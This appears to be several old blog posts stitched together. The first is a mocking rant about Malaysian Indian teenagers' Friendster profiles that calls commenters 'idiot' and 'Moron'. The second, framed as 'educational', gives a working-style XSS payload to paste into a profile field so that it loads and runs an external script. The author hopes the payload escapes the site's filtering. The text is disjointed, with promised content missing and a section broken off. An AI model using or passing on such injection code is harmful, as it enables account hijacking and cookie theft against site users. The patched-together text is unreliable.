“Your article is stereotyped“. “Your article is skewed more to the girls“. “Guys are the same too!“. These are some of the feedbacks received from fellow commentators in my earlier article “The ‘Friendster’ized Malaysian Indians!” and to date, there are still some disputes going on with one idiot making a baseless accusation saying that “Only Tamils would do like that and not Malayalees, Telugus or other etnics“. Moron!

Allright, back to our topic. Now, as being a male myself, I would now try my level best to describe how the males or to be specific, the Malaysian Indian teenage boys are misusing using “Friendster” as a tool for them to communicate and interact with their e-friends!

Once again, their primary photo(s) come(s) into mind! While we could see some girls uploading images of Asin and/or Trisha and self-proclaiming them to be ‘them’ (huh?), we could also see some teenage boys uploading some rip-off images of Surya, Vijay and even 50 Cent and to be on the safer side, they would rather leave the caption box blank or some might take the initiative to write there “girls…..its me!!” or “my new look….. ok va???“. In addition, there would be an additional picture of any female celebrities with the caption “my savadi sareke….hehehe!”.

I know, it is your account and you have the sole authority to do whatever shit you want but for GOD’s SAKE, please read the BLOODY RULES! Please be matured and grow up, lah!

Surprisingly, out of 10, about 4 boys would be putting their real pictures. And, the posing? It is like they are going for an audition and they would “dress to kill”, with their XXXXXL t-shirts, bling-blings, NY cap, sunglasses and etc (I’m not condemning!). And, the caption? “western rulezzzz…” or “rappers inc….“. These types of guys are those who love to impersonate those westerners and they believe, girls would be attracted to these kind of guys (really?) and hence, their tremendous posing styles. Girls, please confirm this! Ohh and not forgetting, some pictures of their bikes and/or cars with the caption “my baby…“. Friendster’s photo policy never stated anything about uploading pictures of vehicles so for time being, you guys are safe! (And I’m not condemning you guys for this!)

Before I proceed further, this post will be focusing on how Malaysian Indians’ teenagers are stuck with Friendster, a social networking site. If you don’t know anything about Friendster or are curious to know more about it, well, you are free to either ignore or stick with this post. It’s your call!

First and foremost, I too, like others, have a Friendster account. Let me stress it again, A Friendster account. Now, let me decipher some of the ‘things’ that I found to be stupid enough when relating it with Malaysian Indians users.

1) Primary Photo Display
For god’s sake, It’s your profile, It’s your account and obviously, you should be putting your picture(s) in it, and not some rip-off images from Indiaglitz or Behindwoods! Usually, Indian girls would prefer to do this kind of stuff, where as they would love to upload tons and tons of celebrity images taken from the web, and the common preys would be Asin and Trisha. I had enough of seeing these two faces comprising most of the said “Indian girls Friendster users” who are reluctant to put their own picture. And, for those Indiaglitz rippers, have you noticed the Copyright note at the bottom which says the following?

2) Primary Photo Display - The Caption
Allright, you might give some excuses saying that you don’t have any camera phones or digital cameras or normal cameras or whatever. Fine! But, what’s up with those captions of Asin’s or Trisha’s photo saying It’s meeeee!!! or a picture of Surya with the caption my hubby!!! Don’t you think that sounds childish? If Jothika’s sees that, she could file a lawsuit against you, mind you!

3) Camwhoring
The most annoying thing in Friendster would be camwhoring! One static position of yourself caught from various angles ranging from 45° to 180° won’t do anything good, rather than disappointing those guys in wanting to see various photos of yourself, and not various ANGLES of one particular photo of yours! Please do consider this in future!

4) Profile design
Do you think 5 Youtube videos, a flash music player, 4 bandwidth-consuming images and not forgetting, 4 flash games in your profile would draw visitors to your profile? Certainly not! Either their browser would be crashed or they would scroll halfway and quit viewing your profile. Some examples of those bandwidth-consuming images would be those “bling-bling” images, “glitter” images and so and so. Ohh, and some images showing texts such as “I’m too hot” or “Gorgeous Girl” and so and so. I’m not condemning you (Am I?) for putting these images but please think from a visitor’s perspective by considering the amount of videos, flash games and streaming audios to be included in your profile. Even my browser had crashed several times just because of a person’s heavy-loaded profile.

NOTE : This article is intended for EDUCATIONAL PURPOSES only. Do not attempt to perform your own ‘phishing’ method learned from this article. The purpose of this article is to expose the real methods behind the popular phishing method and alerting Friendster users pertaining to it.

Nowadays, even social networking sites can be easily injected with XSS codes, thus performing some malicious operations, and the two utmost techniques would be cookie grabber and phishing method.

In this article, I shall be explaining the methods used by phishers in hijacking one’s Friendster account easily, and efficiently. Even though Friendster is trying their level best to update their filtration system, but XSS geeks won’t be giving up their desire to inject some XSS craps in a Friendster profile. Recently, there has been too many cases of Friendster phishers going around and hijacking profiles, hence I wrote this article.

STATUS : FILTERED for NEW users! Existing users can who have been having this code for quite some time are not affected for time being.

It’s really sickening to see Friendster updating their filtration system over and over again. This time, I seriously hope that this piece of XSS crap would last quite long (at least!).

Executing Javascripts Externally in Friendster :

Note: For best results, insert the code below into your “About Me” or “Who I Want To Meet” section.

<object type=text/javascript data=" javascript:v=document.createElement('script'); v.src='YOUR-JAVASCRIPT-TXT-URL'; parent.document.getElementById('navLang').appendChild(v);" width="0"> </object>

Hide default profile with Loading Image(Preset) :

Note : Insert the code below into your “About Me” or “Who I Want To Meet” section.

It seems that Friendster had updated their filtration system again, but this time, with tight upgrades. I can’t even execute a single XSS test or a simple javascript alert box and that really pisses me off!

Previously, these methods could be performed in Friendster :
